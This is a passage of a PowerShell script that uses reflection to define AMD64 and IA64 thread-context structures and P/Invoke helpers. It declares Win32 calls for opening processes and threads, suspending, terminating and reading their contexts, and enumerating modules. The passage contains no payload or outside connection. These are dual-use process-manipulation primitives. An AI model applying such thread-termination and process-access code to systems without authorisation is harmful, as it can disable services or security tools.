294 ($TypeBuilder.DefineField('R13', [UInt64], 'Public')).SetOffset(0xe0)
295 ($TypeBuilder.DefineField('R14', [UInt64], 'Public')).SetOffset(0xe8)
296 ($TypeBuilder.DefineField('R15', [UInt64], 'Public')).SetOffset(0xf0)
297 ($TypeBuilder.DefineField('Rip', [UInt64], 'Public')).SetOffset(0xf8)
298 ($TypeBuilder.DefineField('FltSave', [UInt64], 'Public')).SetOffset(0x100)
299 ($TypeBuilder.DefineField('Legacy', [UInt64], 'Public')).SetOffset(0x120)
300 ($TypeBuilder.DefineField('Xmm0', [UInt64], 'Public')).SetOffset(0x1a0)
301 ($TypeBuilder.DefineField('Xmm1', [UInt64], 'Public')).SetOffset(0x1b0)
302 ($TypeBuilder.DefineField('Xmm2', [UInt64], 'Public')).SetOffset(0x1c0)
303 ($TypeBuilder.DefineField('Xmm3', [UInt64], 'Public')).SetOffset(0x1d0)
304 ($TypeBuilder.DefineField('Xmm4', [UInt64], 'Public')).SetOffset(0x1e0)
305 ($TypeBuilder.DefineField('Xmm5', [UInt64], 'Public')).SetOffset(0x1f0)
306 ($TypeBuilder.DefineField('Xmm6', [UInt64], 'Public')).SetOffset(0x200)
307 ($TypeBuilder.DefineField('Xmm7', [UInt64], 'Public')).SetOffset(0x210)
308 ($TypeBuilder.DefineField('Xmm8', [UInt64], 'Public')).SetOffset(0x220)
309 ($TypeBuilder.DefineField('Xmm9', [UInt64], 'Public')).SetOffset(0x230)
310 ($TypeBuilder.DefineField('Xmm10', [UInt64], 'Public')).SetOffset(0x240)
311 ($TypeBuilder.DefineField('Xmm11', [UInt64], 'Public')).SetOffset(0x250)
312 ($TypeBuilder.DefineField('Xmm12', [UInt64], 'Public')).SetOffset(0x260)
313 ($TypeBuilder.DefineField('Xmm13', [UInt64], 'Public')).SetOffset(0x270)
314 ($TypeBuilder.DefineField('Xmm14', [UInt64], 'Public')).SetOffset(0x280)
315 ($TypeBuilder.DefineField('Xmm15', [UInt64], 'Public')).SetOffset(0x290)
316 ($TypeBuilder.DefineField('VectorRegister', [UInt64], 'Public')).SetOffset(0x300)
317 ($TypeBuilder.DefineField('VectorControl', [UInt64], 'Public')).SetOffset(0x4a0)
318 ($TypeBuilder.DefineField('DebugControl', [UInt64], 'Public')).SetOffset(0x4a8)
319 ($TypeBuilder.DefineField('LastBranchToRip', [UInt64], 'Public')).SetOffset(0x4b0)
320 ($TypeBuilder.DefineField('LastBranchFromRip', [UInt64], 'Public')).SetOffset(0x4b8)
321 ($TypeBuilder.DefineField('LastExceptionToRip', [UInt64], 'Public')).SetOffset(0x4c0)
322 ($TypeBuilder.DefineField('LastExceptionFromRip', [UInt64], 'Public')).SetOffset(0x4c8)
323 $Global:AMD64_CONTEXT = $TypeBuilder.CreateType()
324 #endregion AMD64_CONTEXT
325
326 #region IA64_CONTEXT
327 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
328 $TypeBuilder = $ModuleBuilder.DefineType('IA64_CONTEXT', $Attributes, [ValueType])
329 ($TypeBuilder.DefineField('ContextFlags', [UInt64], 'Public')).SetOffset(0x0)
330 ($TypeBuilder.DefineField('DbI0', [UInt64], 'Public')).SetOffset(0x010)
331 ($TypeBuilder.DefineField('DbI1', [UInt64], 'Public')).SetOffset(0x018)
332 ($TypeBuilder.DefineField('DbI2', [UInt64], 'Public')).SetOffset(0x020)
333 ($TypeBuilder.DefineField('DbI3', [UInt64], 'Public')).SetOffset(0x028)
334 ($TypeBuilder.DefineField('DbI4', [UInt64], 'Public')).SetOffset(0x030)
335 ($TypeBuilder.DefineField('DbI5', [UInt64], 'Public')).SetOffset(0x038)
336 ($TypeBuilder.DefineField('DbI6', [UInt64], 'Public')).SetOffset(0x040)
337 ($TypeBuilder.DefineField('DbI7', [UInt64], 'Public')).SetOffset(0x048)
338 ($TypeBuilder.DefineField('DbD0', [UInt64], 'Public')).SetOffset(0x050)
339 ($TypeBuilder.DefineField('DbD1', [UInt64], 'Public')).SetOffset(0x058)
340 ($TypeBuilder.DefineField('DbD2', [UInt64], 'Public')).SetOffset(0x060)
341 ($TypeBuilder.DefineField('DbD3', [UInt64], 'Public')).SetOffset(0x068)
342 ($TypeBuilder.DefineField('DbD4', [UInt64], 'Public')).SetOffset(0x070)
343 ($TypeBuilder.DefineField('DbD5', [UInt64], 'Public')).SetOffset(0x078)
344 ($TypeBuilder.DefineField('DbD6', [UInt64], 'Public')).SetOffset(0x080)
345 ($TypeBuilder.DefineField('DbD7', [UInt64], 'Public')).SetOffset(0x088)
346 ($TypeBuilder.DefineField('FltS0', $FLOAT128, 'Public')).SetOffset(0x090)
347 ($TypeBuilder.DefineField('FltS1', $FLOAT128, 'Public')).SetOffset(0x0a0)
348 ($TypeBuilder.DefineField('FltS2', $FLOAT128, 'Public')).SetOffset(0x0b0)
349 ($TypeBuilder.DefineField('FltS3', $FLOAT128, 'Public')).SetOffset(0x0c0)
350 ($TypeBuilder.DefineField('FltT0', $FLOAT128, 'Public')).SetOffset(0x0d0)
351 ($TypeBuilder.DefineField('FltT1', $FLOAT128, 'Public')).SetOffset(0x0e0)
352 ($TypeBuilder.DefineField('FltT2', $FLOAT128, 'Public')).SetOffset(0x0f0)
353 ($TypeBuilder.DefineField('FltT3', $FLOAT128, 'Public')).SetOffset(0x100)
354 ($TypeBuilder.DefineField('FltT4', $FLOAT128, 'Public')).SetOffset(0x110)
355 ($TypeBuilder.DefineField('FltT5', $FLOAT128, 'Public')).SetOffset(0x120)
356 ($TypeBuilder.DefineField('FltT6', $FLOAT128, 'Public')).SetOffset(0x130)
357 ($TypeBuilder.DefineField('FltT7', $FLOAT128, 'Public')).SetOffset(0x140)
358 ($TypeBuilder.DefineField('FltT8', $FLOAT128, 'Public')).SetOffset(0x150)
359 ($TypeBuilder.DefineField('FltT9', $FLOAT128, 'Public')).SetOffset(0x160)
360 ($TypeBuilder.DefineField('FltS4', $FLOAT128, 'Public')).SetOffset(0x170)
361 ($TypeBuilder.DefineField('FltS5', $FLOAT128, 'Public')).SetOffset(0x180)
362 ($TypeBuilder.DefineField('FltS6', $FLOAT128, 'Public')).SetOffset(0x190)
363 ($TypeBuilder.DefineField('FltS7', $FLOAT128, 'Public')).SetOffset(0x1a0)
364 ($TypeBuilder.DefineField('FltS8', $FLOAT128, 'Public')).SetOffset(0x1b0)
365 ($TypeBuilder.DefineField('FltS9', $FLOAT128, 'Public')).SetOffset(0x1c0)
366 ($TypeBuilder.DefineField('FltS10', $FLOAT128, 'Public')).SetOffset(0x1d0)
367 ($TypeBuilder.DefineField('FltS11', $FLOAT128, 'Public')).SetOffset(0x1e0)
368 ($TypeBuilder.DefineField('FltS12', $FLOAT128, 'Public')).SetOffset(0x1f0)
369 ($TypeBuilder.DefineField('FltS13', $FLOAT128, 'Public')).SetOffset(0x200)
370 ($TypeBuilder.DefineField('FltS14', $FLOAT128, 'Public')).SetOffset(0x210)
371 ($TypeBuilder.DefineField('FltS15', $FLOAT128, 'Public')).SetOffset(0x220)
372 ($TypeBuilder.DefineField('FltS16', $FLOAT128, 'Public')).SetOffset(0x230)
373 ($TypeBuilder.DefineField('FltS17', $FLOAT128, 'Public')).SetOffset(0x240)
374 ($TypeBuilder.DefineField('FltS18', $FLOAT128, 'Public')).SetOffset(0x250)
375 ($TypeBuilder.DefineField('FltS19', $FLOAT128, 'Public')).SetOffset(0x260)
376 ($TypeBuilder.DefineField('FltF32', $FLOAT128, 'Public')).SetOffset(0x270)
377 ($TypeBuilder.DefineField('FltF33', $FLOAT128, 'Public')).SetOffset(0x280)
378 ($TypeBuilder.DefineField('FltF34', $FLOAT128, 'Public')).SetOffset(0x290)
379 ($TypeBuilder.DefineField('FltF35', $FLOAT128, 'Public')).SetOffset(0x2a0)
380 ($TypeBuilder.DefineField('FltF36', $FLOAT128, 'Public')).SetOffset(0x2b0)
381 ($TypeBuilder.DefineField('FltF37', $FLOAT128, 'Public')).SetOffset(0x2c0)
382 ($TypeBuilder.DefineField('FltF38', $FLOAT128, 'Public')).SetOffset(0x2d0)
383 ($TypeBuilder.DefineField('FltF39', $FLOAT128, 'Public')).SetOffset(0x2e0)
384 ($TypeBuilder.DefineField('FltF40', $FLOAT128, 'Public')).SetOffset(0x2f0)
385 ($TypeBuilder.DefineField('FltF41', $FLOAT128, 'Public')).SetOffset(0x300)
386 ($TypeBuilder.DefineField('FltF42', $FLOAT128, 'Public')).SetOffset(0x310)
387 ($TypeBuilder.DefineField('FltF43', $FLOAT128, 'Public')).SetOffset(0x320)
388 ($TypeBuilder.DefineField('FltF44', $FLOAT128, 'Public')).SetOffset(0x330)
389 ($TypeBuilder.DefineField('FltF45', $FLOAT128, 'Public')).SetOffset(0x340)
390 ($TypeBuilder.DefineField('FltF46', $FLOAT128, 'Public')).SetOffset(0x350)
391 ($TypeBuilder.DefineField('FltF47', $FLOAT128, 'Public')).SetOffset(0x360)
392 ($TypeBuilder.DefineField('FltF48', $FLOAT128, 'Public')).SetOffset(0x370)
393 ($TypeBuilder.DefineField('FltF49', $FLOAT128, 'Public')).SetOffset(0x380)
394 ($TypeBuilder.DefineField('FltF50', $FLOAT128, 'Public')).SetOffset(0x390)
395 ($TypeBuilder.DefineField('FltF51', $FLOAT128, 'Public')).SetOffset(0x3a0)
396 ($TypeBuilder.DefineField('FltF52', $FLOAT128, 'Public')).SetOffset(0x3b0)
397 ($TypeBuilder.DefineField('FltF53', $FLOAT128, 'Public')).SetOffset(0x3c0)
398 ($TypeBuilder.DefineField('FltF54', $FLOAT128, 'Public')).SetOffset(0x3d0)
399 ($TypeBuilder.DefineField('FltF55', $FLOAT128, 'Public')).SetOffset(0x3e0)
400 ($TypeBuilder.DefineField('FltF56', $FLOAT128, 'Public')).SetOffset(0x3f0)
401 ($TypeBuilder.DefineField('FltF57', $FLOAT128, 'Public')).SetOffset(0x400)
402 ($TypeBuilder.DefineField('FltF58', $FLOAT128, 'Public')).SetOffset(0x410)
403 ($TypeBuilder.DefineField('FltF59', $FLOAT128, 'Public')).SetOffset(0x420)
404 ($TypeBuilder.DefineField('FltF60', $FLOAT128, 'Public')).SetOffset(0x430)
405 ($TypeBuilder.DefineField('FltF61', $FLOAT128, 'Public')).SetOffset(0x440)
406 ($TypeBuilder.DefineField('FltF62', $FLOAT128, 'Public')).SetOffset(0x450)
407 ($TypeBuilder.DefineField('FltF63', $FLOAT128, 'Public')).SetOffset(0x460)
408 ($TypeBuilder.DefineField('FltF64', $FLOAT128, 'Public')).SetOffset(0x470)
409 ($TypeBuilder.DefineField('FltF65', $FLOAT128, 'Public')).SetOffset(0x480)
410 ($TypeBuilder.DefineField('FltF66', $FLOAT128, 'Public')).SetOffset(0x490)
411 ($TypeBuilder.DefineField('FltF67', $FLOAT128, 'Public')).SetOffset(0x4a0)
412 ($TypeBuilder.DefineField('FltF68', $FLOAT128, 'Public')).SetOffset(0x4b0)
413 ($TypeBuilder.DefineField('FltF69', $FLOAT128, 'Public')).SetOffset(0x4c0)
414 ($TypeBuilder.DefineField('FltF70', $FLOAT128, 'Public')).SetOffset(0x4d0)
415 ($TypeBuilder.DefineField('FltF71', $FLOAT128, 'Public')).SetOffset(0x4e0)
416 ($TypeBuilder.DefineField('FltF72', $FLOAT128, 'Public')).SetOffset(0x4f0)
417 ($TypeBuilder.DefineField('FltF73', $FLOAT128, 'Public')).SetOffset(0x500)
418 ($TypeBuilder.DefineField('FltF74', $FLOAT128, 'Public')).SetOffset(0x510)
419 ($TypeBuilder.DefineField('FltF75', $FLOAT128, 'Public')).SetOffset(0x520)
420 ($TypeBuilder.DefineField('FltF76', $FLOAT128, 'Public')).SetOffset(0x530)
421 ($TypeBuilder.DefineField('FltF77', $FLOAT128, 'Public')).SetOffset(0x540)
422 ($TypeBuilder.DefineField('FltF78', $FLOAT128, 'Public')).SetOffset(0x550)
423 ($TypeBuilder.DefineField('FltF79', $FLOAT128, 'Public')).SetOffset(0x560)
424 ($TypeBuilder.DefineField('FltF80', $FLOAT128, 'Public')).SetOffset(0x570)
425 ($TypeBuilder.DefineField('FltF81', $FLOAT128, 'Public')).SetOffset(0x580)
426 ($TypeBuilder.DefineField('FltF82', $FLOAT128, 'Public')).SetOffset(0x590)
427 ($TypeBuilder.DefineField('FltF83', $FLOAT128, 'Public')).SetOffset(0x5a0)
428 ($TypeBuilder.DefineField('FltF84', $FLOAT128, 'Public')).SetOffset(0x5b0)
429 ($TypeBuilder.DefineField('FltF85', $FLOAT128, 'Public')).SetOffset(0x5c0)
430 ($TypeBuilder.DefineField('FltF86', $FLOAT128, 'Public')).SetOffset(0x5d0)
431 ($TypeBuilder.DefineField('FltF87', $FLOAT128, 'Public')).SetOffset(0x5e0)
432 ($TypeBuilder.DefineField('FltF88', $FLOAT128, 'Public')).SetOffset(0x5f0)
433 ($TypeBuilder.DefineField('FltF89', $FLOAT128, 'Public')).SetOffset(0x600)
434 ($TypeBuilder.DefineField('FltF90', $FLOAT128, 'Public')).SetOffset(0x610)
435 ($TypeBuilder.DefineField('FltF91', $FLOAT128, 'Public')).SetOffset(0x620)
436 ($TypeBuilder.DefineField('FltF92', $FLOAT128, 'Public')).SetOffset(0x630)
437 ($TypeBuilder.DefineField('FltF93', $FLOAT128, 'Public')).SetOffset(0x640)
438 ($TypeBuilder.DefineField('FltF94', $FLOAT128, 'Public')).SetOffset(0x650)
439 ($TypeBuilder.DefineField('FltF95', $FLOAT128, 'Public')).SetOffset(0x660)
440 ($TypeBuilder.DefineField('FltF96', $FLOAT128, 'Public')).SetOffset(0x670)
441 ($TypeBuilder.DefineField('FltF97', $FLOAT128, 'Public')).SetOffset(0x680)
442 ($TypeBuilder.DefineField('FltF98', $FLOAT128, 'Public')).SetOffset(0x690)
443 ($TypeBuilder.DefineField('FltF99', $FLOAT128, 'Public')).SetOffset(0x6a0)
444 ($TypeBuilder.DefineField('FltF100', $FLOAT128, 'Public')).SetOffset(0x6b0)
445 ($TypeBuilder.DefineField('FltF101', $FLOAT128, 'Public')).SetOffset(0x6c0)
446 ($TypeBuilder.DefineField('FltF102', $FLOAT128, 'Public')).SetOffset(0x6d0)
447 ($TypeBuilder.DefineField('FltF103', $FLOAT128, 'Public')).SetOffset(0x6e0)
448 ($TypeBuilder.DefineField('FltF104', $FLOAT128, 'Public')).SetOffset(0x6f0)
449 ($TypeBuilder.DefineField('FltF105', $FLOAT128, 'Public')).SetOffset(0x700)
450 ($TypeBuilder.DefineField('FltF106', $FLOAT128, 'Public')).SetOffset(0x710)
451 ($TypeBuilder.DefineField('FltF107', $FLOAT128, 'Public')).SetOffset(0x720)
452 ($TypeBuilder.DefineField('FltF108', $FLOAT128, 'Public')).SetOffset(0x730)
453 ($TypeBuilder.DefineField('FltF109', $FLOAT128, 'Public')).SetOffset(0x740)
454 ($TypeBuilder.DefineField('FltF110', $FLOAT128, 'Public')).SetOffset(0x750)
455 ($TypeBuilder.DefineField('FltF111', $FLOAT128, 'Public')).SetOffset(0x760)
456 ($TypeBuilder.DefineField('FltF112', $FLOAT128, 'Public')).SetOffset(0x770)
457 ($TypeBuilder.DefineField('FltF113', $FLOAT128, 'Public')).SetOffset(0x780)
458 ($TypeBuilder.DefineField('FltF114', $FLOAT128, 'Public')).SetOffset(0x790)
459 ($TypeBuilder.DefineField('FltF115', $FLOAT128, 'Public')).SetOffset(0x7a0)
460 ($TypeBuilder.DefineField('FltF116', $FLOAT128, 'Public')).SetOffset(0x7b0)
461 ($TypeBuilder.DefineField('FltF117', $FLOAT128, 'Public')).SetOffset(0x7c0)
462 ($TypeBuilder.DefineField('FltF118', $FLOAT128, 'Public')).SetOffset(0x7d0)
463 ($TypeBuilder.DefineField('FltF119', $FLOAT128, 'Public')).SetOffset(0x7e0)
464 ($TypeBuilder.DefineField('FltF120', $FLOAT128, 'Public')).SetOffset(0x7f0)
465 ($TypeBuilder.DefineField('FltF121', $FLOAT128, 'Public')).SetOffset(0x800)
466 ($TypeBuilder.DefineField('FltF122', $FLOAT128, 'Public')).SetOffset(0x810)
467 ($TypeBuilder.DefineField('FltF123', $FLOAT128, 'Public')).SetOffset(0x820)
468 ($TypeBuilder.DefineField('FltF124', $FLOAT128, 'Public')).SetOffset(0x830)
469 ($TypeBuilder.DefineField('FltF125', $FLOAT128, 'Public')).SetOffset(0x840)
470 ($TypeBuilder.DefineField('FltF126', $FLOAT128, 'Public')).SetOffset(0x850)
471 ($TypeBuilder.DefineField('FltF127', $FLOAT128, 'Public')).SetOffset(0x860)
472 ($TypeBuilder.DefineField('StFPSR', [UInt64], 'Public')).SetOffset(0x870)
473 ($TypeBuilder.DefineField('IntGp', [UInt64], 'Public')).SetOffset(0x870)
474 ($TypeBuilder.DefineField('IntT0', [UInt64], 'Public')).SetOffset(0x880)
475 ($TypeBuilder.DefineField('IntT1', [UInt64], 'Public')).SetOffset(0x888)
476 ($TypeBuilder.DefineField('IntS0', [UInt64], 'Public')).SetOffset(0x890)
477 ($TypeBuilder.DefineField('IntS1', [UInt64], 'Public')).SetOffset(0x898)
478 ($TypeBuilder.DefineField('IntS2', [UInt64], 'Public')).SetOffset(0x8a0)
479 ($TypeBuilder.DefineField('IntS3', [UInt64], 'Public')).SetOffset(0x8a8)
480 ($TypeBuilder.DefineField('IntV0', [UInt64], 'Public')).SetOffset(0x8b0)
481 ($TypeBuilder.DefineField('IntT2', [UInt64], 'Public')).SetOffset(0x8b8)
482 ($TypeBuilder.DefineField('IntT3', [UInt64], 'Public')).SetOffset(0x8c0)
483 ($TypeBuilder.DefineField('IntT4', [UInt64], 'Public')).SetOffset(0x8c8)
484 ($TypeBuilder.DefineField('IntSp', [UInt64], 'Public')).SetOffset(0x8d0)
485 ($TypeBuilder.DefineField('IntTeb', [UInt64], 'Public')).SetOffset(0x8d8)
486 ($TypeBuilder.DefineField('IntT5', [UInt64], 'Public')).SetOffset(0x8e0)
487 ($TypeBuilder.DefineField('IntT6', [UInt64], 'Public')).SetOffset(0x8e8)
488 ($TypeBuilder.DefineField('IntT7', [UInt64], 'Public')).SetOffset(0x8f0)
489 ($TypeBuilder.DefineField('IntT8', [UInt64], 'Public')).SetOffset(0x8f8)
490 ($TypeBuilder.DefineField('IntT9', [UInt64], 'Public')).SetOffset(0x900)
491 ($TypeBuilder.DefineField('IntT10', [UInt64], 'Public')).SetOffset(0x908)
492 ($TypeBuilder.DefineField('IntT11', [UInt64], 'Public')).SetOffset(0x910)
493 ($TypeBuilder.DefineField('IntT12', [UInt64], 'Public')).SetOffset(0x918)
494 ($TypeBuilder.DefineField('IntT13', [UInt64], 'Public')).SetOffset(0x920)
495 ($TypeBuilder.DefineField('IntT14', [UInt64], 'Public')).SetOffset(0x928)
496 ($TypeBuilder.DefineField('IntT15', [UInt64], 'Public')).SetOffset(0x930)
497 ($TypeBuilder.DefineField('IntT16', [UInt64], 'Public')).SetOffset(0x938)
498 ($TypeBuilder.DefineField('IntT17', [UInt64], 'Public')).SetOffset(0x940)
499 ($TypeBuilder.DefineField('IntT18', [UInt64], 'Public')).SetOffset(0x948)
500 ($TypeBuilder.DefineField('IntT19', [UInt64], 'Public')).SetOffset(0x950)
501 ($TypeBuilder.DefineField('IntT20', [UInt64], 'Public')).SetOffset(0x958)
502 ($TypeBuilder.DefineField('IntT21', [UInt64], 'Public')).SetOffset(0x960)
503 ($TypeBuilder.DefineField('IntT22', [UInt64], 'Public')).SetOffset(0x968)
504 ($TypeBuilder.DefineField('IntNats', [UInt64], 'Public')).SetOffset(0x970)
505 ($TypeBuilder.DefineField('Preds', [UInt64], 'Public')).SetOffset(0x978)
506 ($TypeBuilder.DefineField('BrRp', [UInt64], 'Public')).SetOffset(0x980)
507 ($TypeBuilder.DefineField('BrS0', [UInt64], 'Public')).SetOffset(0x988)
508 ($TypeBuilder.DefineField('BrS1', [UInt64], 'Public')).SetOffset(0x990)
509 ($TypeBuilder.DefineField('BrS2', [UInt64], 'Public')).SetOffset(0x998)
510 ($TypeBuilder.DefineField('BrS3', [UInt64], 'Public')).SetOffset(0x9a0)
511 ($TypeBuilder.DefineField('BrS4', [UInt64], 'Public')).SetOffset(0x9a8)
512 ($TypeBuilder.DefineField('BrT0', [UInt64], 'Public')).SetOffset(0x9b0)
513 ($TypeBuilder.DefineField('BrT1', [UInt64], 'Public')).SetOffset(0x9b8)
514 ($TypeBuilder.DefineField('ApUNAT', [UInt64], 'Public')).SetOffset(0x9c0)
515 ($TypeBuilder.DefineField('ApLC', [UInt64], 'Public')).SetOffset(0x9c8)
516 ($TypeBuilder.DefineField('ApEC', [UInt64], 'Public')).SetOffset(0x9d0)
517 ($TypeBuilder.DefineField('ApCCV', [UInt64], 'Public')).SetOffset(0x9d8)
518 ($TypeBuilder.DefineField('ApDCR', [UInt64], 'Public')).SetOffset(0x9e0)
519 ($TypeBuilder.DefineField('RsPFS', [UInt64], 'Public')).SetOffset(0x9e8)
520 ($TypeBuilder.DefineField('RsBSP', [UInt64], 'Public')).SetOffset(0x9f0)
521 ($TypeBuilder.DefineField('RsBSPSTORE', [UInt64], 'Public')).SetOffset(0x9f8)
522 ($TypeBuilder.DefineField('RsRSC', [UInt64], 'Public')).SetOffset(0xa00)
523 ($TypeBuilder.DefineField('RsRNAT', [UInt64], 'Public')).SetOffset(0xa08)
524 ($TypeBuilder.DefineField('StIPSR', [UInt64], 'Public')).SetOffset(0xa10)
525 ($TypeBuilder.DefineField('StIIP', [UInt64], 'Public')).SetOffset(0xa18)
526 ($TypeBuilder.DefineField('StIFS', [UInt64], 'Public')).SetOffset(0xa20)
527 ($TypeBuilder.DefineField('StFCR', [UInt64], 'Public')).SetOffset(0xa28)
528 ($TypeBuilder.DefineField('Eflag', [UInt64], 'Public')).SetOffset(0xa30)
529 ($TypeBuilder.DefineField('SegCSD', [UInt64], 'Public')).SetOffset(0xa38)
530 ($TypeBuilder.DefineField('SegSSD', [UInt64], 'Public')).SetOffset(0xa40)
531 ($TypeBuilder.DefineField('Cflag', [UInt64], 'Public')).SetOffset(0xa48)
532 ($TypeBuilder.DefineField('StFSR', [UInt64], 'Public')).SetOffset(0xa50)
533 ($TypeBuilder.DefineField('StFIR', [UInt64], 'Public')).SetOffset(0xa58)
534 ($TypeBuilder.DefineField('StFDR', [UInt64], 'Public')).SetOffset(0xa60)
535 ($TypeBuilder.DefineField('UNUSEDPACK', [UInt64], 'Public')).SetOffset(0xa68)
536 $Global:IA64_CONTEXT = $TypeBuilder.CreateType()
537 #endregion IA64_CONTEXT
538
539 #endregion STRUCTS
540
541 function local:func {
542 # A helper function used to reduce typing while defining function prototypes for Add-Win32Type. by @mattifestation
543 Param (
544 [Parameter(Position = 0, Mandatory = $true)]
545 [String]$DllName,
546
547 [Parameter(Position = 1, Mandatory = $true)]
548 [string]$FunctionName,
549
550 [Parameter(Position = 2, Mandatory = $true)]
551 [Type]$ReturnType,
552
553 [Parameter(Position = 3)]
554 [Type[]]$ParameterTypes,
555
556 [Parameter(Position = 4)]
557 [Runtime.InteropServices.CallingConvention]$NativeCallingConvention,
558
559 [Parameter(Position = 5)]
560 [Runtime.InteropServices.CharSet]$Charset,
561
562 [Parameter()]
563 [Switch]$SetLastError
564 )
565 $Properties = @{
566 DllName = $DllName
567 FunctionName = $FunctionName
568 ReturnType = $ReturnType
569 }
570 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
571 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
572 if ($Charset) { $Properties['Charset'] = $Charset }
573 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
574 New-Object -TypeName PSObject -Property $Properties
575 }
576 function local:Add-Win32Type {
577 # A helper function used to reduce typing while defining function prototypes for Add-Win32Type. by @mattifestation
578 [OutputType([Hashtable])]
579 Param(
580 [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true)]
581 [String]$DllName,
582
583 [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true)]
584 [String]$FunctionName,
585
586 [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true)]
587 [Type]$ReturnType,
588
589 [Parameter(ValueFromPipelineByPropertyName = $true)]
590 [Type[]]$ParameterTypes,
591
592 [Parameter(ValueFromPipelineByPropertyName = $true)]
593 [Runtime.InteropServices.CallingConvention]$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
594
595 [Parameter(ValueFromPipelineByPropertyName = $true)]
596 [Runtime.InteropServices.CharSet]$Charset = [Runtime.InteropServices.CharSet]::Auto,
597
598 [Parameter(ValueFromPipelineByPropertyName = $true)]
599 [Switch]$SetLastError,
600
601 [Parameter(Mandatory = $true)]
602 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]$Module,
603
604 [ValidateNotNull()]
605 [String]$Namespace = ''
606 )
607 BEGIN { $TypeHash = @{} }
608 PROCESS {
609 if ($Module -is [Reflection.Assembly])
610 {
611 if ($Namespace)
612 {
613 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
614 }
615 else
616 {
617 $TypeHash[$DllName] = $Module.GetType($DllName)
618 }
619 }
620 else # Define one type for each DLL
621 {
622 if (!$TypeHash.ContainsKey($DllName))
623 {
624 if ($Namespace)
625 {
626 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
627 }
628 else
629 {
630 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
631 }
632 }
633
634 $Method = $TypeHash[$DllName].DefineMethod($FunctionName, 'Public,Static,PinvokeImpl', $ReturnType, $ParameterTypes)
635
636 # Make each ByRef parameter an Out parameter
637 $i = 1
638 foreach($Parameter in $ParameterTypes)
639 {
640 if ($Parameter.IsByRef)
641 {
642 [void]$Method.DefineParameter($i, 'Out', $null)
643 }
644 $i++
645 }
646
647 $DllImport = [Runtime.InteropServices.DllImportAttribute]
648 $SetLastErrorField = $DllImport.GetField('SetLastError')
649 $CallingConventionField = $DllImport.GetField('CallingConvention')
650 $CharsetField = $DllImport.GetField('CharSet')
651 if ($SetLastError)
652 {
653 $SLEValue = $true
654 }
655 else
656 {
657 $SLEValue = $false
658 }
659
660 # Equivalent to C# version of [DllImport(DllName)]
661 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
662 $DllImportAttribute = New-Object -TypeName Reflection.Emit.CustomAttributeBuilder -ArgumentList ($Constructor, $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
663 $Method.SetCustomAttribute($DllImportAttribute)
664 }
665 }
666 END {
667 if ($Module -is [Reflection.Assembly])
668 {
669 return $TypeHash
670 }
671 $ReturnTypes = @{}
672 foreach ($Key in $TypeHash.Keys)
673 {
674 $Type = $TypeHash[$Key].CreateType()
675 $ReturnTypes[$Key] = $Type
676 }
677 return $ReturnTypes
678 }
679 }
680 function local:Get-DelegateType {
681 Param (
682 [OutputType([Type])]
683
684 [Parameter( Position = 0)]
685 [Type[]]$Parameters = (New-Object -TypeName Type[] -ArgumentList (0)),
686
687 [Parameter( Position = 1 )]
688 [Type]$ReturnType = [Void]
689 )
690 $Domain = [AppDomain]::CurrentDomain
691 $DynAssembly = New-Object -TypeName System.Reflection.AssemblyName -ArgumentList ('ReflectedDelegate')
692 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
693 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
694 $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [MulticastDelegate])
695 $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [Reflection.CallingConventions]::Standard, $Parameters)
696 $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
697 $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
698 $MethodBuilder.SetImplementationFlags('Runtime, Managed')
699 $TypeBuilder.CreateType()
700 }
701
702 $FunctionDefinitions = @(
703 #Kernel32
704 (func kernel32 OpenProcess ([IntPtr]) @([Int32], [Bool], [Int32]) -SetLastError),
705 (func kernel32 OpenThread ([IntPtr]) @([Int32], [Bool], [Int32]) -SetLastError),
706 (func kernel32 TerminateThread ([IntPtr]) @([Int32], [Int32]) -SetLastError),
707 (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError),
708 (func kernel32 Wow64SuspendThread ([UInt32]) @([IntPtr]) -SetLastError),
709 (func kernel32 SuspendThread ([UInt32]) @([IntPtr]) -SetLastError),
710 (func kernel32 ResumeThread ([UInt32]) @([IntPtr]) -SetLastError),
711 (func kernel32 Wow64GetThreadContext ([Bool]) @([IntPtr], [IntPtr]) -SetLastError),
712 (func kernel32 GetThreadContext ([Bool]) @([IntPtr], [IntPtr]) -SetLastError),
713 (func kernel32 GetSystemInfo ([Void]) @($SYSTEM_INFO.MakeByRefType()) -SetLastError),
714 (func kernel32 IsWow64Process ([Bool]) @([IntPtr], [Bool].MakeByRefType()) -SetLastError),
715
716 #Psapi
717 (func psapi EnumProcessModulesEx ([Bool]) @([IntPtr], [IntPtr].MakeArrayType(), [UInt32], [UInt32].MakeByRefType(), [Int32]) -SetLastError),
718 (func psapi GetModuleInformation ([Bool]) @([IntPtr], [IntPtr], $MODULE_INFO.MakeByRefType(), [UInt32]) -SetLastError),
